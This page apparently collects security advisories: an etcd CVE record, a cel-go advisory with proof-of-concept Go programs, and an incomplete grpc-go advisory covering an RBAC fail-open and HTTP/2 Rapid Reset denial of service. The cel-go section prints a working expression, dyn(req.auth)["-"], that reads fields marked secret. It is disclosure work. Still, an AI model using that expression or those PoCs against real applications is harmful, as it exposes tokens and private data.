"description": "CWE-770: Allocation of Resources Without Limits or Throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-12T21:22:25.151Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/etcd-io/etcd/security/advisories/GHSA-6vch-q96h-7gc3",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/etcd-io/etcd/security/advisories/GHSA-6vch-q96h-7gc3"
},
{
"name": "https://github.com/etcd-io/etcd/pull/22130",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/etcd-io/etcd/pull/22130"
},
{
"name": "https://github.com/etcd-io/etcd/commit/2e07efce9745004eb4773cffaada9b5cdf77cff2",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/etcd-io/etcd/commit/2e07efce9745004eb4773cffaada9b5cdf77cff2"
},
{
"name": "https://github.com/etcd-io/etcd/commit/89ff6d50796049d4f1136915ba21504b76e7e372",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/etcd-io/etcd/commit/89ff6d50796049d4f1136915ba21504b76e7e372"
},
{
"name": "https://github.com/etcd-io/etcd/commit/8e4dd0679a2c6b095d2a32a749fda2521c7809a3",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/etcd-io/etcd/commit/8e4dd0679a2c6b095d2a32a749fda2521c7809a3"
},
{
"name": "https://github.com/etcd-io/etcd/commit/f73cba7d920019f91a1ea1f6697833e42731f057",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/etcd-io/etcd/commit/f73cba7d920019f91a1ea1f6697833e42731f057"
},
{
"name": "https://github.com/etcd-io/etcd/releases/tag/v3.5.33",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/etcd-io/etcd/releases/tag/v3.5.33"
},
{
"name": "https://github.com/etcd-io/etcd/releases/tag/v3.6.14",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/etcd-io/etcd/releases/tag/v3.6.14"
},
{
"name": "https://github.com/etcd-io/etcd/releases/tag/v3.7.1",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/etcd-io/etcd/releases/tag/v3.7.1"
}
],
"source": {
"advisory": "GHSA-6vch-q96h-7gc3",
"discovery": "UNKNOWN"
},
"title": "etcd: `tlsListener.acceptLoop` spawns unbounded handshake goroutines with no deadline"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-73500",
"datePublished": "2026-08-12T21:22:25.151Z",
"dateReserved": "2026-08-12T19:00:33.736Z",
"dateUpdated": "2026-08-13T17:53:16.094Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-GCJH-H69Q-9W9G
Vulnerability from github – Published: 2026-07-24 16:48 – Updated: 2026-07-24 16:48
VLAI
Summary
cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag
Details
The function ext.NativeTypes(ParseStructTag("json")) does not honour the encoding/json skip directive json:"-". Fields tagged json:"-" are registered in the CEL type system under the literal name "-" and are readable from any user-submitted CEL expression via dyn(obj)["-"].
Additionally, newNativeTypes silently registers every nested struct reachable from the type passed to NativeTypes, including types from third-party dependencies the developer never examined.
Root cause
In fieldNameByTag, the helper used by ParseStructTag("json") to translate Go struct tags into CEL field names.
See at ext/native.go:146:
func fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {
return func(field reflect.StructField) string {
tag, found := field.Tag.Lookup(structTagToParse)
if found {
splits := strings.Split(tag, ",")
if len(splits) > 0 {
// We make the assumption that the leftmost entry in the tag is the name.
// This seems to be true for most tags that have the concept of a name/key, such as:
// https://pkg.go.dev/encoding/xml#Marshal
// https://pkg.go.dev/encoding/json#Marshal
// https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs
// https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal
name := splits[0]
return name
}
}
return field.Name
}
}
For a field tagged json:"-", this code splits the tag into []string{"-"} and returns "-" as the CEL field name. It never checks whether "-" is the JSON skip sentinel.
This contradicts the encoding/json rule that the source comment explicitly points readers to:
As a special case, if the field tag is "-", the field is always omitted. Note
that a field with name "-" can still be generated using the tag "-,".
The public option also documents JSON-style parsing as the intended behavior.
See at ext/native.go:190:
// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.
// For example:
// If the tag to parse is "cel" and the struct field has tag cel:"foo", the CEL struct field will be "foo".
// If the tag to parse is "json" and the struct field has tag json:"foo,omitempty", the CEL struct field will be "foo".
func ParseStructTag(tag string) NativeTypesOption {
return func(ntp *nativeTypeOptions) error {
ntp.fieldNameHandler = fieldNameByTag(tag)
return nil
}
}
A developer using ParseStructTag("json") is therefore led to expect encoding/json field-name semantics. Instead, json:"-" is treated as a real field name.
The bad name is accepted during native type construction. newNativeType checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.
See at ext/native.go:663:
if fieldNameHandler != nil {
fieldNames := make(map[string]struct{})
for idx := 0; idx < refType.NumField(); idx++ {
field := refType.Field(idx)
fieldName := toFieldName(fieldNameHandler, field)
if _, found := fieldNames[fieldName]; found {
return nil, fmt.Errorf("invalid field name `%s` in struct `%s`: %w", fieldName, refType.Name(), errDuplicatedFieldName)
} else {
fieldNames[fieldName] = struct{}{}
}
}
}
Once accepted, the field becomes part of CEL's view of the type. Field enumeration reports it as a normal field name.
See at ext/native.go:286:
func (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {
if t, found := tp.nativeTypes[typeName]; found {
fieldCount := t.refType.NumField()
fields := make([]string, fieldCount)
for i := 0; i < fieldCount; i++ {
fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))
}
return fields, true
}
if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {
return celTypeFields, true
}
return tp.baseProvider.FindStructFieldNames(typeName)
}
Field lookup also treats the name as valid and returns the underlying Go field value.
See at ext/native.go:303:
func (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {
t, found := tp.nativeTypes[typeName]
if !found {
return tp.baseProvider.FindStructFieldType(typeName, fieldName)
}
refField, isDefined := t.hasField(fieldName)
if !found || !isDefined {
return nil, false
}
return &types.FieldType{
IsSet: func(obj any) bool {
refVal := reflect.Indirect(reflect.ValueOf(obj))
refField := refVal.FieldByName(refField.Name)
return !refField.IsZero()
},
GetFrom: func(obj any) (any, error) {
refVal := reflect.Indirect(reflect.ValueOf(obj))
refField := refVal.FieldByName(refField.Name)
return getFieldValue(refField), nil
},
}, true
}
At runtime, native objects advertise index access.
See at ext/native.go:37:
var (
nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType
)
Because traits.IndexerType is present, a user expression can bypass ordinary field syntax and read the registered "-" field with bracket access:
dyn(req.auth)["-"]
The same mistaken name is also used when converting native objects to JSON-like CEL values. ConvertToNative(jsonStructType) iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.
See at ext/native.go:501:
case jsonStructType:
refVal := reflect.Indirect(o.refValue)
refType := refVal.Type()
fields := make(map[string]*structpb.Value, refVal.NumField())
for i := 0; i < refVal.NumField(); i++ {
fieldType := refType.Field(i)
fieldValue := refVal.Field(i)
if !fieldValue.IsValid() || fieldValue.IsZero() {
continue
}
fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)
fieldCELVal := o.NativeToValue(fieldValue.Interface())
fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)
if err != nil {
return nil, err
}
fields[fieldName] = fieldJSONVal.(*structpb.Value)
}
return &structpb.Struct{Fields: fields}, nil
This means a json:"-" secret is exposed in two ways: it can be read directly through CEL indexing as dyn(obj)["-"], and it can appear under the key "-" in JSON struct conversion output.
The blast radius is widened by newNativeTypes, which registers not only the type explicitly passed to NativeTypes, but also every nested struct reachable from its fields.
See at ext/native.go:609:
func newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {
nt, err := newNativeType(fieldNameHandler, rawType)
if err != nil {
return nil, err
}
result := []*nativeType{nt}
var iterateStructMembers func(reflect.Type)
iterateStructMembers = func(t reflect.Type) {
if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {
iterateStructMembers(t.Elem())
return
}
if t.Kind() != reflect.Struct {
return
}
nt, ntErr := newNativeType(fieldNameHandler, t)
if ntErr != nil {
err = ntErr
return
}
result = append(result, nt)
for idx := 0; idx < t.NumField(); idx++ {
iterateStructMembers(t.Field(idx).Type)
}
}
iterateStructMembers(rawType)
return result, err
}
As a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a json:"-" secret, CEL still receives a readable field named "-" even though the developer never registered or audited that nested type directly.
Reproduction
package main
import (
"fmt"
"reflect"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/ext"
)
// Simulates a library type; developer never registers this directly.
type AuthCtx struct {
UserID string `json:"userId"`
Secret string `json:"-"` // server-internal; never appears in JSON output
}
// Developer registers only this type.
type Req struct{ Auth AuthCtx `json:"auth"` }
func main() {
env, _ := cel.NewEnv(
// Only Req is passed; AuthCtx is registered silently by newNativeTypes.
ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag("json")),
cel.Variable("req", cel.ObjectType("main.Req")),
)
ast, _ := env.Compile(`dyn(req.auth)["-"]`)
prg, _ := env.Program(ast)
out, _, _ := prg.Eval(map[string]any{
"req": Req{Auth: AuthCtx{UserID: "alice", Secret: "sk-live-s3cr3t"}},
})
fmt.Println(out) // sk-live-s3cr3t
}
Expected: expression compile error or empty result; json:"-" field should not be
accessible.
Actual: sk-live-s3cr3t; the server-injected secret is returned verbatim.
The same field is also included under key "-" in ConvertToNative(jsonStructType)
output, and appears in FindStructFieldNames enumeration.
path 1. CEL indexing
Tested against the released module github.com/google/cel-go v0.28.1
(latest stable release as of 2026-05-12), using the go.mod entry:
require github.com/google/cel-go v0.28.1
Running the PoC above (go run main.go) produces:
sk-live-s3cr3t
The secret value is returned verbatim, with no error at compile time or at runtime.
Path 2. ConvertToNative(jsonStructType)
When the nativeObj for the AuthCtx value is converted to a Protobuf Struct
(the representation used whenever CEL output is serialised to JSON), the
json:"-" field appears in the output map under the key "-".
package main
import (
"encoding/json"
"fmt"
"reflect"
"github.com/google/cel-go/cel"
"github.com/google/cel-go/ext"
structpb "google.golang.org/protobuf/types/known/structpb"
)
type AuthCtxConv struct {
UserID string `json:"userId"`
Secret string `json:"-"` // should never appear in JSON output
}
type ReqConv struct{ Auth AuthCtxConv `json:"auth"` }
func main() {
env, _ := cel.NewEnv(
ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag("json")),
cel.Variable("req", cel.ObjectType("main.ReqConv")),
)
ast, _ := env.Compile(`req.auth`)
prg, _ := env.Program(ast)
out, _, _ := prg.Eval(map[string]any{
"req": ReqConv{Auth: AuthCtxConv{UserID: "alice", Secret: "sk-live-s3cr3t"}},
})
jsonStructType := reflect.TypeOf(&structpb.Struct{})
raw, _ := out.ConvertToNative(jsonStructType)
st := raw.(*structpb.Struct)
b, _ := json.MarshalIndent(st.AsMap(), "", " ")
fmt.Printf("ConvertToNative(jsonStructType) output:\n%s\n", b)
fmt.Printf("\nDirect field access via \"-\" key present: %v\n", st.Fields["-"] != nil)
if v, ok := st.Fields["-"]; ok {
fmt.Printf("Value: %s\n", v.GetStringValue())
}
}
Running the PoC above produces:
ConvertToNative(jsonStructType) output:
{
"-": "sk-live-s3cr3t",
"userId": "alice"
}
Direct field access via "-" key present: true
Value: sk-live-s3cr3t
The "-" key is present in the serialised Protobuf struct alongside userId.
Any system that converts a CEL evaluation result to JSON (e.g. via structpb.Struct) will include the secret in the output, regardless of whether the dyn()["-"] indexing path is used.
Impact
Any user who can submit CEL expressions to an application that uses ext.NativeTypes(ParseStructTag("json")) can read struct fields that the developer explicitly marked json:"-" to keep out of serialised output. By writing dyn(obj)["-"], the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because newNativeTypes silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.
Remediation
Do not treat json:"-" as a CEL field named "-". Model it as an explicit skipped field, not as an empty string field name.
Update the struct-tag parsing path so exact json:"-" returns “skip this field”, while json:"-," continues to mean the literal field name "-", matching encoding/json semantics.
Apply that skip decision consistently anywhere native fields are exposed or resolved:
- duplicate-name validation in
newNativeType - field enumeration in
FindStructFieldNames - field type lookup in
FindStructFieldType - runtime lookup in
fieldByName/hasField - object construction in
NewValue - JSON conversion in
ConvertToNative(jsonStructType)
Apply the same omit handling for xml:"-", yaml:"-", and bson:"-" where ParseStructTag is used.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.28.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/google/cel-go"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-495"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:48:56Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "The function `ext.NativeTypes(ParseStructTag(\"json\"))` does not honour the `encoding/json` skip directive `json:\"-\"`. Fields tagged `json:\"-\"` are registered in the CEL type system under the literal name `\"-\"` and are readable from any user-submitted CEL expression via `dyn(obj)[\"-\"]`. \n\nAdditionally, `newNativeTypes` silently registers every nested struct reachable from the type passed to `NativeTypes`, including types from third-party dependencies the developer never examined.\n\n## Root cause\n\nIn `fieldNameByTag`, the helper used by `ParseStructTag(\"json\")` to translate Go struct tags into CEL field names.\n\nSee at `ext/native.go:146`:\n\n```go\nfunc fieldNameByTag(structTagToParse string) func(field reflect.StructField) string {\n return func(field reflect.StructField) string {\n tag, found := field.Tag.Lookup(structTagToParse)\n if found {\n splits := strings.Split(tag, \",\")\n if len(splits) \u003e 0 {\n // We make the assumption that the leftmost entry in the tag is the name.\n // This seems to be true for most tags that have the concept of a name/key, such as:\n // https://pkg.go.dev/encoding/xml#Marshal\n // https://pkg.go.dev/encoding/json#Marshal\n // https://pkg.go.dev/go.mongodb.org/mongo-driver/bson#hdr-Structs\n // https://pkg.go.dev/go.yaml.in/yaml/v3#Marshal\n name := splits[0]\n return name\n }\n }\n\n return field.Name\n }\n}\n```\n\nFor a field tagged `json:\"-\"`, this code splits the tag into `[]string{\"-\"}` and returns `\"-\"` as the CEL field name. It never checks whether `\"-\"` is the JSON skip sentinel.\n\nThis contradicts the `encoding/json` rule that the source comment explicitly points readers to:\n\n```text\nAs a special case, if the field tag is \"-\", the field is always omitted. Note\nthat a field with name \"-\" can still be generated using the tag \"-,\".\n```\n\nThe public option also documents JSON-style parsing as the intended behavior.\nSee at `ext/native.go:190`:\n\n```go\n// ParseStructTag configures the struct tag to parse. The 0th item in the tag is used as the name of the CEL field.\n// For example:\n// If the tag to parse is \"cel\" and the struct field has tag cel:\"foo\", the CEL struct field will be \"foo\".\n// If the tag to parse is \"json\" and the struct field has tag json:\"foo,omitempty\", the CEL struct field will be \"foo\".\nfunc ParseStructTag(tag string) NativeTypesOption {\n return func(ntp *nativeTypeOptions) error {\n ntp.fieldNameHandler = fieldNameByTag(tag)\n return nil\n }\n}\n```\n\nA developer using `ParseStructTag(\"json\")` is therefore led to expect `encoding/json` field-name semantics. Instead, `json:\"-\"` is treated as a real field name.\n\nThe bad name is accepted during native type construction. `newNativeType` checks for duplicate field names, but it does not reject or skip empty names or skip sentinels.\n\nSee at `ext/native.go:663`:\n\n```go\nif fieldNameHandler != nil {\n fieldNames := make(map[string]struct{})\n\n for idx := 0; idx \u003c refType.NumField(); idx++ {\n field := refType.Field(idx)\n fieldName := toFieldName(fieldNameHandler, field)\n\n if _, found := fieldNames[fieldName]; found {\n return nil, fmt.Errorf(\"invalid field name `%s` in struct `%s`: %w\", fieldName, refType.Name(), errDuplicatedFieldName)\n } else {\n fieldNames[fieldName] = struct{}{}\n }\n }\n}\n```\n\nOnce accepted, the field becomes part of CEL\u0027s view of the type. Field enumeration reports it as a normal field name.\n\nSee at `ext/native.go:286`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldNames(typeName string) ([]string, bool) {\n if t, found := tp.nativeTypes[typeName]; found {\n fieldCount := t.refType.NumField()\n fields := make([]string, fieldCount)\n for i := 0; i \u003c fieldCount; i++ {\n fields[i] = toFieldName(tp.options.fieldNameHandler, t.refType.Field(i))\n }\n return fields, true\n }\n if celTypeFields, found := tp.baseProvider.FindStructFieldNames(typeName); found {\n return celTypeFields, true\n }\n return tp.baseProvider.FindStructFieldNames(typeName)\n}\n```\n\nField lookup also treats the name as valid and returns the underlying Go field value.\n\nSee at `ext/native.go:303`:\n\n```go\nfunc (tp *nativeTypeProvider) FindStructFieldType(typeName, fieldName string) (*types.FieldType, bool) {\n t, found := tp.nativeTypes[typeName]\n if !found {\n return tp.baseProvider.FindStructFieldType(typeName, fieldName)\n }\n refField, isDefined := t.hasField(fieldName)\n if !found || !isDefined {\n return nil, false\n }\n\n return \u0026types.FieldType{\n IsSet: func(obj any) bool {\n refVal := reflect.Indirect(reflect.ValueOf(obj))\n refField := refVal.FieldByName(refField.Name)\n return !refField.IsZero()\n },\n GetFrom: func(obj any) (any, error) {\n refVal := reflect.Indirect(reflect.ValueOf(obj))\n refField := refVal.FieldByName(refField.Name)\n return getFieldValue(refField), nil\n },\n }, true\n}\n```\n\nAt runtime, native objects advertise index access.\nSee at `ext/native.go:37`:\n\n```go\nvar (\n nativeObjTraitMask = traits.FieldTesterType | traits.IndexerType\n)\n```\n\nBecause `traits.IndexerType` is present, a user expression can bypass ordinary field syntax and read the registered `\"-\"` field with bracket access:\n\n```cel\ndyn(req.auth)[\"-\"]\n```\n\nThe same mistaken name is also used when converting native objects to JSON-like CEL values. `ConvertToNative(jsonStructType)` iterates all Go struct fields, computes the CEL field name, and inserts it into the output map without applying the JSON skip rule.\n\nSee at `ext/native.go:501`:\n\n```go\ncase jsonStructType:\n refVal := reflect.Indirect(o.refValue)\n refType := refVal.Type()\n fields := make(map[string]*structpb.Value, refVal.NumField())\n for i := 0; i \u003c refVal.NumField(); i++ {\n fieldType := refType.Field(i)\n fieldValue := refVal.Field(i)\n if !fieldValue.IsValid() || fieldValue.IsZero() {\n continue\n }\n fieldName := toFieldName(o.valType.fieldNameHandler, fieldType)\n fieldCELVal := o.NativeToValue(fieldValue.Interface())\n fieldJSONVal, err := fieldCELVal.ConvertToNative(jsonValueType)\n if err != nil {\n return nil, err\n }\n fields[fieldName] = fieldJSONVal.(*structpb.Value)\n }\n return \u0026structpb.Struct{Fields: fields}, nil\n```\n\nThis means a `json:\"-\"` secret is exposed in two ways: it can be read directly through CEL indexing as `dyn(obj)[\"-\"]`, and it can appear under the key `\"-\"` in JSON struct conversion output.\n\nThe blast radius is widened by `newNativeTypes`, which registers not only the type explicitly passed to `NativeTypes`, but also every nested struct reachable from its fields.\n\nSee at `ext/native.go:609`:\n\n```go\nfunc newNativeTypes(fieldNameHandler NativeTypesFieldNameHandler, rawType reflect.Type) ([]*nativeType, error) {\n nt, err := newNativeType(fieldNameHandler, rawType)\n if err != nil {\n return nil, err\n }\n result := []*nativeType{nt}\n\n var iterateStructMembers func(reflect.Type)\n iterateStructMembers = func(t reflect.Type) {\n if k := t.Kind(); k == reflect.Pointer || k == reflect.Slice || k == reflect.Array || k == reflect.Map {\n iterateStructMembers(t.Elem())\n return\n }\n if t.Kind() != reflect.Struct {\n return\n }\n\n nt, ntErr := newNativeType(fieldNameHandler, t)\n if ntErr != nil {\n err = ntErr\n return\n }\n result = append(result, nt)\n\n for idx := 0; idx \u003c t.NumField(); idx++ {\n iterateStructMembers(t.Field(idx).Type)\n }\n }\n iterateStructMembers(rawType)\n\n return result, err\n}\n```\n\nAs a result, a developer can register one apparently safe request type while a nested dependency type is silently registered too. If that nested type contains a `json:\"-\"` secret, CEL still receives a readable field named `\"-\"` even though the developer never registered or audited that nested type directly.\n\n## Reproduction\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"reflect\"\n\n \"github.com/google/cel-go/cel\"\n \"github.com/google/cel-go/ext\"\n)\n\n// Simulates a library type; developer never registers this directly.\ntype AuthCtx struct {\n UserID string `json:\"userId\"`\n Secret string `json:\"-\"` // server-internal; never appears in JSON output\n}\n\n// Developer registers only this type.\ntype Req struct{ Auth AuthCtx `json:\"auth\"` }\n\nfunc main() {\n env, _ := cel.NewEnv(\n // Only Req is passed; AuthCtx is registered silently by newNativeTypes.\n ext.NativeTypes(reflect.TypeOf(Req{}), ext.ParseStructTag(\"json\")),\n cel.Variable(\"req\", cel.ObjectType(\"main.Req\")),\n )\n ast, _ := env.Compile(`dyn(req.auth)[\"-\"]`)\n prg, _ := env.Program(ast)\n out, _, _ := prg.Eval(map[string]any{\n \"req\": Req{Auth: AuthCtx{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n })\n fmt.Println(out) // sk-live-s3cr3t\n}\n```\n\n**Expected:** expression compile error or empty result; `json:\"-\"` field should not be\naccessible. \n**Actual:** `sk-live-s3cr3t`; the server-injected secret is returned verbatim.\n\nThe same field is also included under key `\"-\"` in `ConvertToNative(jsonStructType)`\noutput, and appears in `FindStructFieldNames` enumeration.\n\n### path 1. CEL indexing\n\nTested against the released module `github.com/google/cel-go v0.28.1`\n(latest stable release as of 2026-05-12), using the `go.mod` entry:\n\n```\nrequire github.com/google/cel-go v0.28.1\n```\n\nRunning the PoC above (`go run main.go`) produces:\n\n```\nsk-live-s3cr3t\n```\n\nThe secret value is returned verbatim, with no error at compile time or at runtime.\n\n### Path 2. `ConvertToNative(jsonStructType)`\n\nWhen the `nativeObj` for the `AuthCtx` value is converted to a Protobuf `Struct`\n(the representation used whenever CEL output is serialised to JSON), the\n`json:\"-\"` field appears in the output map under the key `\"-\"`.\n\n```go\npackage main\n\nimport (\n \"encoding/json\"\n \"fmt\"\n \"reflect\"\n\n \"github.com/google/cel-go/cel\"\n \"github.com/google/cel-go/ext\"\n\n structpb \"google.golang.org/protobuf/types/known/structpb\"\n)\n\ntype AuthCtxConv struct {\n UserID string `json:\"userId\"`\n Secret string `json:\"-\"` // should never appear in JSON output\n}\n\ntype ReqConv struct{ Auth AuthCtxConv `json:\"auth\"` }\n\nfunc main() {\n env, _ := cel.NewEnv(\n ext.NativeTypes(reflect.TypeOf(ReqConv{}), ext.ParseStructTag(\"json\")),\n cel.Variable(\"req\", cel.ObjectType(\"main.ReqConv\")),\n )\n\n ast, _ := env.Compile(`req.auth`)\n prg, _ := env.Program(ast)\n out, _, _ := prg.Eval(map[string]any{\n \"req\": ReqConv{Auth: AuthCtxConv{UserID: \"alice\", Secret: \"sk-live-s3cr3t\"}},\n })\n\n jsonStructType := reflect.TypeOf(\u0026structpb.Struct{})\n raw, _ := out.ConvertToNative(jsonStructType)\n\n st := raw.(*structpb.Struct)\n b, _ := json.MarshalIndent(st.AsMap(), \"\", \" \")\n fmt.Printf(\"ConvertToNative(jsonStructType) output:\\n%s\\n\", b)\n fmt.Printf(\"\\nDirect field access via \\\"-\\\" key present: %v\\n\", st.Fields[\"-\"] != nil)\n if v, ok := st.Fields[\"-\"]; ok {\n fmt.Printf(\"Value: %s\\n\", v.GetStringValue())\n }\n}\n```\n\nRunning the PoC above produces:\n\n```\nConvertToNative(jsonStructType) output:\n{\n \"-\": \"sk-live-s3cr3t\",\n \"userId\": \"alice\"\n}\n\nDirect field access via \"-\" key present: true\nValue: sk-live-s3cr3t\n```\n\nThe `\"-\"` key is present in the serialised Protobuf struct alongside `userId`.\nAny system that converts a CEL evaluation result to JSON (e.g. via `structpb.Struct`) will include the secret in the output, regardless of whether the `dyn()[\"-\"]` indexing path is used.\n\n## Impact\n\nAny user who can submit CEL expressions to an application that uses `ext.NativeTypes(ParseStructTag(\"json\"))` can read struct fields that the developer explicitly marked `json:\"-\"` to keep out of serialised output. By writing `dyn(obj)[\"-\"]`, the attacker retrieves the raw Go field value, typically a secret, internal token, or private identifier, with no compile-time or runtime error. Because `newNativeTypes` silently registers every nested struct reachable from the root type, the attacker may also reach secrets in dependency types the developer never intended to expose to CEL.\n\n## Remediation\n\nDo not treat `json:\"-\"` as a CEL field named `\"-\"`. Model it as an explicit skipped field, not as an empty string field name.\n\nUpdate the struct-tag parsing path so exact `json:\"-\"` returns \u201cskip this field\u201d, while `json:\"-,\"` continues to mean the literal field name `\"-\"`, matching `encoding/json` semantics.\n\nApply that skip decision consistently anywhere native fields are exposed or resolved:\n\n- duplicate-name validation in `newNativeType`\n- field enumeration in `FindStructFieldNames`\n- field type lookup in `FindStructFieldType`\n- runtime lookup in `fieldByName` / `hasField`\n- object construction in `NewValue`\n- JSON conversion in `ConvertToNative(jsonStructType)`\n\nApply the same omit handling for `xml:\"-\"`, `yaml:\"-\"`, and `bson:\"-\"` where `ParseStructTag` is used.",
"id": "GHSA-gcjh-h69q-9w9g",
"modified": "2026-07-24T16:48:56Z",
"published": "2026-07-24T16:48:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cel-expr/cel-go/security/advisories/GHSA-gcjh-h69q-9w9g"
},
{
"type": "PACKAGE",
"url": "https://github.com/cel-expr/cel-go"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "cel-go: JSON Private Fields Exposed via NativeTypes and ParseStructTag"
}
GHSA-HRXH-6V49-42GF
Vulnerability from github – Published: 2026-07-21 22:03 – Updated: 2026-07-21 22:03
VLAI
Summary
gRPC-Go: xDS RBAC and HTTP/2 Vulnerabilities
Details
Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:
- Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing
MetadataorRequestedServerNamefields. - Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.
- Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing
NOTrules around unsupported fields.
Impact
What kind of vulnerability is it? Who is impacted?
xDS RBAC Authorization Bypass via Metadata & RequestedServerName matchers
- Affected Component: xDS RBAC
- Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported
permissionandprincipalrules (specificallyMetadataandRequestedServerName) were silently ignored and treated as no-ops. - If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.
- If these unsupported rules were nested inside logical
NOTrules (Permission_NotRule/Principal_NotId) or multi-conditionOR/ANDrules, silently dropping them changed the boolean logic flow of the authorization engine.
As a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.
HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts
- Affected Component: HTTP/2 transport
- Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as
SETTINGSACKs or server-initiatedRST_STREAMs.
When a client initiated a rapid flood of stream creation (HEADERS) immediately followed by stream termination RST_STREAM, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).
Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules
- Affected Component: xDS RBAC
- Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a
NOTrule wrapped an unsupported or unhandled field (such asSourcedMetadata), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.
An attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a NOT rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).
Patches
Has the problem been patched? What versions should users upgrade to?
All three issues have been fixed in master and will be released in 1.82.1 shortly.
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
If upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:
- For xDS RBAC Vulnerabilities & Panics: Ensure that upstream xDS management servers do not push RBAC policies containing
Metadata,RequestedServerName, orNOTrules wrapping unsupported fields (such asSourcedMetadata) to grpc-go servers. - For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2
max_concurrent_streamslimits and active rate limiting onRST_STREAMfrequency per connection.
Severity
| Vulnerability | Qualitative Severity | Approximate CVSS v3.1 Score | Primary Impact |
|---|---|---|---|
| xDS RBAC Authorization Bypass | High | 8.2 |
Unauthorized Access / Fail-Open |
| HTTP/2 Rapid Reset DOS Bypass | High | 7.5 |
High CPU Consumption / Denial of Service |
| xDS RBAC Engine Server Panic | Medium | 5.9 |
Process Crash / Denial of Service |
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "google.golang.org/grpc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.82.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-770",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T22:03:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
